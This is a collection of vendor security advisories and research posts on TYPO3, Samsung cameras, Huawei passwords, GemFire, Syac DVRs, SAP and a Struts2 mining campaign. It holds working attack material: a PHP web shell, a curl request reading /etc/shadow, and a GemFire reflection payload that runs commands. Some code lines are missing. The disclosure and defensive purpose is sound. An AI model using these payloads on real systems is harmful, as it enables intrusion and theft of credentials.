Typo3 Unrestricted File Upload - Remote Code Execution

Advisory Information 
Title: TYPO3 CMS Unrestricted File Upload
Release date: 01/12/2017
Last update: 01/12/2017
Credits: Maurizio Siddu, Emaze Networks S.p.A.

Vulnerability Information 
Class: Unrestricted File Upload, Remote Code Execution
CVE: 2017-14251
CVSSv2: 6.5

Affected Software 
  • TYPO3 CMS versions 7.6.0 to 7.6.21 and 8.0.0 to 8.7.4

Vulnerability Details
The TYPO3 CMS allows registered users to create and modify digital content, including the possibility to upload files or images.
Specifically the TYPO3 CMS uses a restriction mechanism based on a blacklist implemented  by the "fileDenyPattern" rule in the file "sysext/core/Classes/Core/SystemEnvironmentBuilder.php".

// Security related constant: Default value of fileDenyPattern
define('FILE_DENY_PATTERN_DEFAULT', '\\.(php[3-7]?|phpsh|phtml)(\\..*)?$|^\\.htaccess$');
// Security related constant: List of file extensions that should be registered as php script file extensions
define('PHP_EXTENSIONS_DEFAULT', 'php,php3,php4,php5,php6,php7,phpsh,inc,phtml');

The code above does not denies the files with the .PHT extension. This file extension is associated with the Partial Hypertext file format, and PHT files are handled as executable by default in various web server setups.

This security issue could lead to Remote Code Execution, for example an attacker could use the File-Upload functionality of TYPO3 CMS to upload the following PHT file:

<?php echo shell_exec($_GET['cmd']); ?>

As result the uploaded file can be used to execute arbitrary commands on the remote system.

Apply the security patches provided by the vendor:

Multiple vulnerabilities in Samsung SRN cameras

Authors: Luca Giancane, Aristide Fattori (@joystick) and Roberto Paleari (@rpaleari)

We identified multiple security vulnerabilities that affect Samsung SRN cameras. These issues permit a remote, unauthenticated attackers to gain full control over the device. We thank the CMU CERT for having coordinated the disclosure process.

In detail, we identified three different security issues, described in the following sections.

Arbitrary file read (CVE-2015-8279)

Attackers can exploit an undocumented PHP page to read arbitrary local files. Exploitation is trivial, as the attacker can simply provide the name of the requested file in a GET parameter.

As an example, to read the local /etc/shadow file the following request must be performed:

$ curl -v http://<target IP>/cslog_export.php?path=/etc/shadow

This vulnerability can be exploited to read a local file which stores web interface credentials. In our test devices such file is stored at /root/php_modules/lighttpd/sbin/userpw, and contains both the usernames and passwords in clear-text form, so no brute forcing is required.

Weak firmware encryption (CVE-2015-8281)

The device vendor permits customers to download an updated version of the
device software from its own web portal. However, firmware images are encrypted using a proprietary scheme.

As an example, the initial bytes of the mproject_add_header.dtb file (which
is contained in the downloadable firmware archive) includes an header (EncryptFileFormat) that testifies the file is actually encrypted

$ xxd mproject_add_header.dtb  | head
00000000: 456e 6372 7970 7446 696c 6546 6f72 6d61  EncryptFileForma
00000010: 740a cdbb 53bd 4e6f 903e 7869 1af3 c98d  t...S.No.>xi....

However, looking at the file tail we observe a recurring byte pattern:

$ xxd mproject_add_header.dtb  | tail
000026e0: e854 1db6 ad50 4e6f b70e 7869 1acb c98d  .T...PNo..xi....
000026f0: e854 1db6 ad50 4e6f b70e 7869 1acb c98d  .T...PNo..xi....
00002700: e854 1db6 ad50 4e6f b70e 7869 1acb c98d  .T...PNo..xi....
00002710: e854 1db6 ad50 4e6f b70e 7869 1acb c98d  .T...PNo..xi....
00002720: e854 1db6 ad50 4e6f b70e 7869 1acb c98d  .T...PNo..xi....
00002730: e854 1db6 ad50 4e6f b70e 7869 1acb c98d  .T...PNo..xi....

Considering the file is encrypted and assuming the vendor used a standard encryption scheme, few algorithms generate such a recurring pattern. The most obvious hypothesis is a XOR encryption.

As the file tail is usually padded with zeroes, we speculated the file has been XOR-encrypted using a 16-byte key equal to e854 1db6 ad50 4e6f b70e 7869 1acb c98d. We tried using this key to decode the file and successfully decrypted the firmware:

$ python ../decrypt.py mproject_add_header.dtb  | xxd | head
00000000: 9c5e d00d feed 0000 2730 0000 0038 0000  .^......'0...8..
00000010: 20b0 0000 0028 0000 0011 0000 0010 0000   ....(..........
00000020: 0000 0000 0280 0000 2078 0000 0000 0000  ........ x......
00000030: 0000 0000 0000 0000 0000 0000 0001 0000  ................
00000040: 0000 0000 0003 0000 000e 0000 0000 6673  ..............fs
00000050: 6c2c 6d70 6338 3533 3664 7300 0000 0000  l,mpc8536ds.....
00000060: 0003 0000 000e 0000 0006 6673 6c2c 6d70  ..........fsl,mp
00000070: 6338 3533 3664 7300 0000 0000 0003 0000  c8536ds.........
00000080: 0004 0000 0011 0000 0002 0000 0003 0000  ................
00000090: 0004 0000 0020 0000 0002 0000 0001 616c  ..... ........al

The very same XOR key can be used to decrypt also the other components of the device firmware. One of these elements contains an ext2 filesystem, with the contents of the device main partition.

User enumeration (CVE-2015-8280)

Remote attackers can enumerate valid web interface usernames by providing an invalid password and looking at the returned error message.

As an example, when an invalid username is provided the `Wrong ID` message is returned, as shown in the following request:

$ curl -d "data1=$(echo -n invalid | base64)&data2=x" http://<target IP>/login
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>
<script type='text/javascript' language='javascript'>
    alert("Wrong ID");

However, when a valid username is provided, the `Wrong Password` message is returned, testifying that the username is valid:

$ curl -d "data1=$(echo -n admin | base64)&data2=x" http://<target IP>/login
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>
<script type='text/javascript' language='javascript'>
    alert("Wrong Password");

Affected models

We confirm the following device models are affected:
  • Samsung SRN-1670D (Web Viewer Version 1,0,0,193, Date Created 2013.10.26)
Other similar device models and software versions may also be affected, but they were not tested.

Huawei password schemes: Episode 3

Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick)

We have a somehow long history of security advisories covering password encryption schemes used by Huawei products. For previous episodes see here and also here. To add another episode to the series, this post covers another password encryption scheme introduced probably around 2014. For the impatient reader: algorithms get more convoluted, passwords are obfuscated, but the scheme stays reversible and fundamentally insecure. To protect all affected customers, we won't disclose the full details of the algorithm, but we'll just give a quick overview of how it works.

To sum up, Huawei devices, such as AR series routers, store passwords using several distinct encryption and hashing schemes. Looking at an encrypted/hashed password, the prefix or suffix identifies the actual scheme being used. As an example:
  • DES passwords are terminated by a "!!" suffix.
  • AES passwords are delimited by characters "%$%$".
In our experience we observed several other delimiters, which correspond to other possible encryption schemes being used. To the best of our knowledge, little documentation exists about the internals of these schemes, not to mention about their security level. In this post we outline the encryption scheme used in another kind of Huawei passwords, which can be recognized by the delimiter "%@%@". Recent Huawei device models use this encryption scheme for storing a plethora of different kind of parameters, including user passwords, SNMP community names and Wi-Fi passphrases.

Briefly, the encryption scheme is still based on AES. Both the IV and the key are stored in the firmware image in obfuscated form, probably to prevent naive reverse engineering attempts. It suffices to say that the algorithm is reversible, and the actual key/IV can be easily reconstructed by anyone with average reverse engineering skills.

$ cat passwd.txt
$ cat passwd.txt | python huaweidecrypt.py
scheme: AES256v3 | cleartext: 'admin' | ciphertext: %@%@Of+->i@1/#!q`fS`Jii1,`@7%@%@

Overall, users should not trust this encryption scheme to protect their passwords. Needless to say, on the remediation side we recommended Huawei users to configure their devices to use hashing ("password irreversible-cipher") instead of using reversible encryption when storing passwords.

Huawei advisory about this vulnerability is available here.

GemFire: From OQLi to RCE through reflection

Authors: Aristide Fattori (@joystick), Alessandro Di Pinto (@adipinto), Enrico Milanese (@ilmila)

During a penetration testing activity on one of our customers, we had to assess the security of some web services that interacted with an underlying GemFire database. GemFire is an in-memory distributed data management platform providing dynamic scalability, high performance, and database-like persistence.

During the analyses, we identified a straight injection vulnerability that could be easily exploited to dump data out of GemFire. However, this was not challenging enough, so we investigated if it could be further leveraged to escalate from a common ' OR '1'='1'-- injection to a juicer remote code execution.

Pivotal GemFire

GemFire offers a language OQL (Object Query Language) quite similar to SQL, with some limitations [1]. OQL injections are also very similar to classical SQL injections, they just require some care when crafting the attack, as many keywords are reserved for future use and not yet implemented (such as UNION). While skimming through the documentation, however, we stumbled upon a very interesting feature:

Invoking methods with parameters 
SELECT DISTINCT * FROM /exampleRegion p WHERE p.name.startsWith('Bo')

It is possible to invoke java methods on objects returned by OQL queries directly inside statements. While very useful for legitimate users, this is also an extremely dangerous feature. Indeed, through some hacks and with some limitations, it is possible to execute arbitrary java code, and even arbitrary commands.


We will use an example to illustrate the exploit. Consider the following vulnerable query:

query = "SELECT DISTINCT * FROM /tab p WHERE p.name = '" + name + "'";

where 'name' is an attacker-controlled value. Our goal is to execute arbitrary commands on the victim machine, and in Java the fastest way to do that is:


Unfortunately, Runtime did not appear to be already imported, nor we could use its full binary name inside the query. However, thanks to Java reflection API [2] we can easily overcome the problem and build this equivalent payload:

p.name.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(p.name.value.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null,null), 'command'.split('asd'))

Analyzing the payload, for those not familiar with reflection, the first step is:


and causes the class loader to load class Runtime. It is impossible to directly instantiate an object of this class; rather, you need to invoke the static method getRuntime() to obtain an instance. Method getDeclaredMethods() returns an array containing each Method declared in the class. It is possible to list them with a small snippet of code:

int i = 0; 
for(java.lang.reflect.Method m : "".getClass().forName("java.lang.Runtime").getDeclaredMethods()) {
  System.out.println(i++ + " " + m); 

In this case, we are interested in methods 7 and 15:

7 public static java.lang.Runtime java.lang.Runtime.getRuntime() 
15 public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException 

However, beware that these indexes may vary according to the JDK that is used on the victim machine, so be sure to compile and run the snippet above with a matching JDK. If you are not sure which indexes to use, you can leverage reflection to discover them, by building an injection vector such as:

name = "123456789' OR p.name.value.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].getName() = 'getRuntime'--

which will return true if method with index 7 is indeed getRuntime().

To invoke a method through reflection, we use Method.invoke(). Since getRuntime() is static and does not want any parameter, we can pass just null to both arguments of invoke().

// Equivalent to: Runtime.getRuntime()

Our local java environment also accepted invoke() with just one null parameter, but this triggered an exception while trying to invoke it inside the OQL query. This is most likely due to the fact that the query processor of GemFire was unable to resolve the method and thus raised an exception.

Then, we must invoke exec() on the obtained Runtime instance, thus we leverage once again the invoke() method, but this time its first parameter will be the object returned by the piece of code to invoke getRuntime():

// Equivalent to: Runtime.getRuntime.exec(COMMAND)
p.name.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(p.name.value.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null,null), COMMAND) 

The final note is on COMMAND. There are many overloaded exec() methods in class Runtime, we use the simplest one that just takes the command to be executed as a String. However, to pass a String parameter to exec() through invoke(), we must pass an Object array with one element (i.e., the command String). We were not able to create an array inline with the standard java syntax. Thus, we leveraged an hack: calling split('asd') on a string which does not contain 'asd' will return an array of String with the string as the first and only element:

// Returns: {'command'}

Thus, we get to the final payload:

p.name.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(p.name.value.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null,null), 'command'.split('asd'))

As a final note, in our Java environment (both openjdk-7-jdk and the official Oracle version), the second argument of invoke() can be directly a String (rather than array). This did not work inside GemFire, probably for the same reason described above.


Java Reflection based exploits are not novel, but always dangerous. For example, the Jboss SEAM framework was affected by a vulnerability that was exploited with a payload similar to the one we used in this case [3].


    [1] http://community.gemstone.com/display/gemfire/Querying - Gemfire OQL
    [2] http://docs.oracle.com/javase/tutorial/reflect/ - Java Reflection API
    [3] CVE-2010-1871 - Jboss SEAM Remote Command Execution

Backdoor access to Techboard/Syac devices

Authors: Roberto Paleari (@rpaleari), and Luca Giancane

During a security assessment on one of our customers, we had the opportunity to analyze a device by Techboard/Syac, a manufacturer of digital video recorders (DVR) and network cameras. In particular, our analysis focused on a device of the DigiEye product line. The assessment led to the identification of a "backdoor" service, originally introduced by the device manufacturer for testing and support purposes, that could be abused by remote attackers to execute arbitrary commands on the device, with administrative privileges.

Vulnerability overview

Affected devices include a backdoor service listening on TCP port 7339. After a preliminary "authentication" phase, clients can leverage this service to execute arbitrary commands on the underlying Linux system, with root privileges. To the best of our knowledge, end-users are not allowed to disable the backdoor service, nor to control the "authentication" mechanism.

Vulnerable devices are still widely deployed on the Internet, thus we won't release the full details on the backdoor communication protocol. Instead, we just document in a following paragraph the initial "protocol handshake", in order to allow Techboard/Syac customers to identify vulnerable devices on their networks.

As a "proof-of-concept", the following figure shows the Python script we developed to complete the challenge-response authentication with the device and submit the commands to be executed (obviously, source and destination IP addresses have been obscured). As can be seed from the figure, the name of the process associated with port tcp/7339 is "backd", possibly a shorthand for "backdoor" (see the red box).

"Proof-of-concept" of the RCE backdoor on a Syac DigiEye device

A glimpse at the "authentication" protocol

Strictly speaking, the protocol handshake works as follows:
  1. The client connects to port tcp/7339 of the vulnerable device and sends the string "KNOCK-KNOCK-ANYONETHERE?", terminated with a NULL byte.
  2. The server replies with a 12-byte response. First 8 bytes are a timestamp, while last 4 bytes are a "magic number" equal to 0x000aae60.
  3. Follows a challenge-response procedure that uses the timestamp provided by the server at step 2. Details of this step won't be disclosed.
After authentication has been completed, the client can send arbitrary commands which are immediately executed by the device with administrative privileges.

To allow customers to identify vulnerable devices on their network, we provide a Nmap NSE script, available for download here. Usage is very simple, as shown in the following screenshot.

Nmap NSE script to detect vulnerable devices (target IP as been obscured)


We contacted Techboard/Syac about this vulnerability on April 2nd, 2014 and provided them with the technical details of the issue we found. The device vendor promptly replied back to our e-mails and, on April 9th, they confirmed a patched firmware version was going to be released to their customers. At the time of writing, the patched firmware has not been checked by Emaze.

SAP Multiple Vulnerabilities

Advisory Information 
Title: SAP Multiple Vulnerabilities
Release date: 28/05/2014
Last update: 20/06/2014
Credits: Enrico Milanese, Emaze Networks S.p.A.

Vulnerability Information 
Class: Cross Site Scripting, Arbitrary Redirect
CVE: 2014-4159, 2014-4160, 2014-4161
CVSS: 5.8

Affected Software 
  • SAP NetWeaver Business Client
  • SAP Supplier Relationship Management Release 673 SP0

Vulnerability Details
The NWBC (NetWeaver Business Client) uses some test/debug nodes (related to development functionalities) that should be disabled in production systems; the node testcanvas is vulnerable to multiple Cross Site Scripting vulnerabilities on title and sap-accessibility parameters.

Proof of concept:


The SAP SRM (Supplier Relationship Management) component exposes a test/debug functionality related to SSO (Single Sign On) process; the resource umTestSSO.jsp fails to handle user input before using it into a dynamic generated content. 
The vulnerability could be used by an attacker to load any arbitrary remote html page inside the SAP SRM portal or conduct Cross Site Scripting attacks to SAP SRM portal's users.

Proof of concepts:



Apply the security patches provided by the vendor:

Attack campaign targeting Apache Struts2 vulnerability

Authors: Roberto Paleari (@rpaleari), Claudio Moletta (@redr2e) and Luca Giancane

At the beginning of March, a security advisory was published about two high-impact issues affecting Apache Struts2, a widely-used framework to create Java web applications. Despite they can be exploited to cause either a DoS (CVE-2014-0050) or to gain remote code execution on the affected server (CVE-2014-0094), these vulnerabilities have not raised much interest until a proof-of-concept exploit was published on a Chinese blog in April, followed by a more detailed write-up describing the technical details of the attack. In addition, on April 24th, researchers from Vulnhunt showed the inefficacy of the countermeasures initially proposed as a workaround to address the bugs.

As usually happens in these cases, after the publication of the PoC attackers started to mass-scan the Internet, searching for vulnerable servers. As a consequence, in these days we observed automated attacks trying to exploit CVE-2014-0094. All the attacks we observed so far are originated from a single source IP, namely

Anatomy of the attack

The attacks we observed start with a single HTTP GET request to rebase the application to a remote directory, using a UNC path that points to a SMB shared folder on the attacker's machine. The request logged by the target web server is the following:


By listing SMB services available on, we can confirm the presence of a share named "toplel", as shown in the figure below.

SMB share toplel, on the attacker's host
The toplel share accepts anonymous connections and contains several JSP pages, all containing the following HTML fragment:

gayfgt 696969

No active nor malicious code was found in any of these JSPs. Thus, our hypothesis is that some of these pages are invoked by the attacker to verify if the exploit succeeded, by checking the page returned actually matches the expected content. Unfortunately, at the time of writing we were not able to record any additional request sent by the attacker, beyond the initial one that triggers the Apache Struts2 vulnerability.

In addition to the anonymous SMB share, the attacker's machine exposes a web server configured to enable a directory listing on the root directory. This allowed us to inspect its contents and continue our analysis.

Directory listing on

We speculate the goal of the attacker is to leverage CVE-2014-0094 to eventually execute some of the binaries hosted on this server, as discussed in the next section. In addition to these malicious application, the server also hosts some warez and even a Torrent client with a web-based interface.

Warez folder on the attacker's host

Web-based Torrent client

Despite we still miss the joining link between the initial attacker's request and the request that drops and installs the malicious payload, we speculate the aim of the attacker is to execute one of two possible malicious applications, depending on the OS running on the compromised host:
  • besh, a shell script for Linux hosts.
  • toplel.exe, a binary application targeted for Windows machines.
The behavior of both the Linux and Windows payloads is described in the next paragraphs.

Linux payload

Analysis of the Linux payload (the script named "besh") is trivial: after collecting some information about the compromised machine, the script downloads and executes two additional binaries, yolo-x64 and yolo-x86 binaries; as you can probably imagine, these are 64-bit and 32-bit ELF applications, respectively.

Dropped binaries are a repackaged version of xptMiner, an open-source coin miner. As can be seen from the script contents, the application is configured to connect to, with username "Seegee.lin" and password "1"; at the time of writing, this URL was still active. On a compromised machine, the coin miner will be saved to /tmp/.HOLDMYWEEVE. In addition, the script also takes care of terminating any instance of the stratum process, another open-source coin miner.

Contents of the "besh" shell script

Windows payload

The goal of the Windows payload is the same as the Linux version, i.e., to install xptMiner on the victim's host. In this case, the dropper (ok.exe, MD5 hash 1467e41283f01c0f80568dd4b60b2484) is slightly obfuscated using very standard techniques: strings are encoded in base64 form and library functions are resolved starting from hard-coded hash values.

Upon execution, the binary checks if it is running on a 64-bit Windows system by leveraging the IsWow64Process() API. According to the result, either the yolo.exe (cb6799b63dbf3ddd1e7e0e05e579fe89) or swog.exe (5ace2dbc44e19d16bff7ce277bcdde2f) binaries are downloaded.

Generation of the HTTP request to download the second stage

As with the Linux version, dropped binaries are actually the xptMiner miner, that is then saved to local path %APPDATA%\ok.exe and finally executed with a command-line similar to the following:

%APPDATA%\ok.exe -o -u Seegee.toplel -p 1


In this post we briefly described an attack currently running "in the wild", which exploits Apache Struts2 vulnerability CVE-2014-0094 to execute arbitrary commands on a vulnerable web server. Apparently, the goal of the attacker is to drop an executable that eventually installs a coin miner.